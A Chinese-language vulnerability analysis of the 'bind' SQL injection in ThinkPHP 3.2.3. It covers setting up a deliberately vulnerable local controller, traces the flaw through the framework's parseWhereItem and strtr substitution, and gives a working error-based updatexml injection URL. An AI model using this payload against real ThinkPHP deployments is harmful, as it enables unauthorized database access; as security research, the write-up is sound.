ThinkPHP3.2.3 bind注入
环境搭建
ThinkPHP3.2.3完整版:http://www.thinkphp.cn/donate/download/id/610.html
Application文件夹目录结构如下:
Application
├─Common 应用公共模块
│ ├─Common 应用公共函数目录
│ └─Conf 应用公共配置文件目录
├─Home 默认生成的Home模块
│ ├─Conf 模块配置文件目录
│ ├─Common 模块函数公共目录
│ ├─Controller 模块控制器目录
│ ├─Model 模块模型目录
│ └─View 模块视图文件目录
├─Runtime 运行时目录
│ ├─Cache 模版缓存目录
│ ├─Data 数据目录
│ ├─Logs 日志目录
│ └─Temp 缓存目录
修改 thinkphp32\Application\Home\Controller\IndexController.class.php 文件代码,内容如下:
public function index()
{
$User = M("Users");
$user['id'] = I('id');
$data['password'] = I('password');
$valu = $User->where($user)->save($data);
var_dump($valu);
}
配置连接数据库的文件 Application\Common\Conf\config.php ,内容如下:
<?php
return array(
'DB_TYPE' => 'mysql', // 数据库类型
'DB_HOST' => 'localhost', // 服务器地址
'DB_NAME' => 'thinkphp', // 数据库名
'DB_USER' => 'root', // 用户名
'DB_PWD' => 'root', // 密码
'DB_PORT' => 3306, // 端口
'DB_PREFIX' => '', // 数据库表前缀
'DB_CHARSET'=> 'utf8', // 字符集
'DB_DEBUG' => TRUE, // 数据库调试模式 开启后可以记录SQL日志 3.2.3新增
);
漏洞分析
可以通过payload进行正向审计,payload为:
http://127.0.0.1/thinkphp32/index.php?id[0]=bind&id[1]=0 and updatexml(1,concat(0x7,user(),0x7e),1)
Thinkphp中一般使用I函数
进行过滤,I函数官方说明:I函数输入过滤,在I函数
中默认使用htmlspecialchars
方法过滤,最后通过think_filter
函数进行安全过滤。
可以看到并没有对bind进行过滤,于是我们尝试传入payload:
http://127.0.0.1/thinkphp32/index.php?id[0]=bind&id[1]=qq
可以看到传入id[0]=bind&id[1]=qq
时,sql语句中id值为:qq。接下来我们对其形成原因进行分析:
首先跟入where函数:
在where函数中对$this->options['where']进行初始化,将id->{0->"bind",1->"qq"}赋值给$this->options['where'],接下来调用save函数:
/**
* 保存数据
* @access public
* @param mixed $data 数据
* @param array $options 表达式
* @return boolean
*/
public function save($data='',$options=array()) {
if(empty($data)) {
// 没有传递数据,获取当前数据对象的值
if(!empty($this->data)) {
$data = $this->data;
// 重置数据
$this->data = array();
}else{
$this->error = L('_DATA_TYPE_INVALID_');
return false;
}
}
// 数据处理
$data = $this->_facade($data);
if(empty($data)){
// 没有数据则不执行
$this->error = L('_DATA_TYPE_INVALID_');
return false;
}
// 分析表达式
$options = $this->_parseOptions($options);
$pk = $this->getPk();
if(!isset($options['where']) ) {
// 如果存在主键数据 则自动作为更新条件
if (is_string($pk) && isset($data[$pk])) {
$where[$pk] = $data[$pk];
unset($data[$pk]);
} elseif (is_array($pk)) {
// 增加复合主键支持
foreach ($pk as $field) {
if(isset($data[$field])) {
$where[$field] = $data[$field];
} else {
// 如果缺少复合主键数据则不执行
$this->error = L('_OPERATION_WRONG_');
return false;
}
unset($data[$field]);
}
}
if(!isset($where)){
// 如果没有任何更新条件则不执行
$this->error = L('_OPERATION_WRONG_');
return false;
}else{
$options['where'] = $where;
}
}
if(is_array($options['where']) && isset($options['where'][$pk])){
$pkValue = $options['where'][$pk];
}
if(false === $this->_before_update($data,$options)) {
return false;
}
$result = $this->db->update($data,$options);
if(false !== $result && is_numeric($result)) {
if(isset($pkValue)) $data[$pk] = $pkValue;
$this->_after_update($data,$options);
}
return $result;
}
在Think\Db\Driver->update()中:
继续跟入Think\Db\Driver->parseSet():
在parseSet中进入标量数据检查,继续跟入bindParam:
可以看到在bindParam中对this.bind进行赋值this.bind[:0]="",进行参数化。然后回到update函数中的:
$sql .= $this->parseWhere(!empty($options['where'])?$options['where']:'');
继续跟入$this->parseWhere,进入重点$this->parseWhereItem:
// where子单元分析
protected function parseWhereItem($key,$val) {
$whereStr = '';
if(is_array($val)) {
if(is_string($val[0])) {
$exp = strtolower($val[0]);
if(preg_match('/^(eq|neq|gt|egt|lt|elt)$/',$exp)) { // 比较运算
$whereStr .= $key.' '.$this->exp[$exp].' '.$this->parseValue($val[1]);
}elseif(preg_match('/^(notlike|like)$/',$exp)){// 模糊查找
if(is_array($val[1])) {
$likeLogic = isset($val[2])?strtoupper($val[2]):'OR';
if(in_array($likeLogic,array('AND','OR','XOR'))){
$like = array();
foreach ($val[1] as $item){
$like[] = $key.' '.$this->exp[$exp].' '.$this->parseValue($item);
}
$whereStr .= '('.implode(' '.$likeLogic.' ',$like).')';
}
}else{
$whereStr .= $key.' '.$this->exp[$exp].' '.$this->parseValue($val[1]);
}
}elseif('bind' == $exp ){ // 使用表达式
$whereStr .= $key.' = :'.$val[1];
}elseif('exp' == $exp ){ // 使用表达式
$whereStr .= $key.' '.$val[1];
}elseif(preg_match('/^(notin|not in|in)$/',$exp)){ // IN 运算
if(isset($val[2]) && 'exp'==$val[2]) {
$whereStr .= $key.' '.$this->exp[$exp].' '.$val[1];
}else{
if(is_string($val[1])) {
$val[1] = explode(',',$val[1]);
}
$zone = implode(',',$this->parseValue($val[1]));
$whereStr .= $key.' '.$this->exp[$exp].' ('.$zone.')';
}
}elseif(preg_match('/^(notbetween|not between|between)$/',$exp)){ // BETWEEN运算
$data = is_string($val[1])? explode(',',$val[1]):$val[1];
$whereStr .= $key.' '.$this->exp[$exp].' '.$this->parseValue($data[0]).' AND '.$this->parseValue($data[1]);
}else{
E(L('_EXPRESS_ERROR_').':'.$val[0]);
}
}else {
$count = count($val);
$rule = isset($val[$count-1]) ? (is_array($val[$count-1]) ? strtoupper($val[$count-1][0]) : strtoupper($val[$count-1]) ) : '' ;
if(in_array($rule,array('AND','OR','XOR'))) {
$count = $count -1;
}else{
$rule = 'AND';
}
for($i=0;$i<$count;$i++) {
$data = is_array($val[$i])?$val[$i][1]:$val[$i];
if('exp'==strtolower($val[$i][0])) {
$whereStr .= $key.' '.$data.' '.$rule.' ';
}else{
$whereStr .= $this->parseWhereItem($key,$val[$i]).' '.$rule.' ';
}
}
$whereStr = '( '.substr($whereStr,0,-4).' )';
}
}else {
//对字符串类型字段采用模糊匹配
$likeFields = $this->config['db_like_fields'];
if($likeFields && preg_match('/^('.$likeFields.')$/i',$key)) {
$whereStr .= $key.' LIKE '.$this->parseValue('%'.$val.'%');
}else {
$whereStr .= $key.' = '.$this->parseValue($val);
}
}
return $whereStr;
}
可以看到在进入到elseif('bind' == $exp )中时,对$whereStr进行拼接:
$whereStr .= $key.' = :'.$val[1];
所以导致拼接后为:aa
最后在update中最后一行:
return $this->execute($sql,!empty($options['fetch_sql']) ? true : false);
跟入$this->execute,可以找到:
$this->queryStr = strtr($this->queryStr,array_map(function($val) use($that){ return '\''.$that->escapeString($val).'\''; },$this->bind));
使用strtr对参数进行替换后并执行sql语句。本意是将password后的 :0 替换为 "",但是我们可以构造id[1]=0,bind处理拼接后为 :0 ,导致在最后进行strtr时,将where后的id条件也替换为""
于是我们可以发现在并未过滤bind以及updatexml的情况下,可以进行报错注入:
payload:
http://127.0.0.1/thinkphp32/index.php?id[0]=bind&id[1]=0 and updatexml(1,concat(0x7,user(),0x7e),1)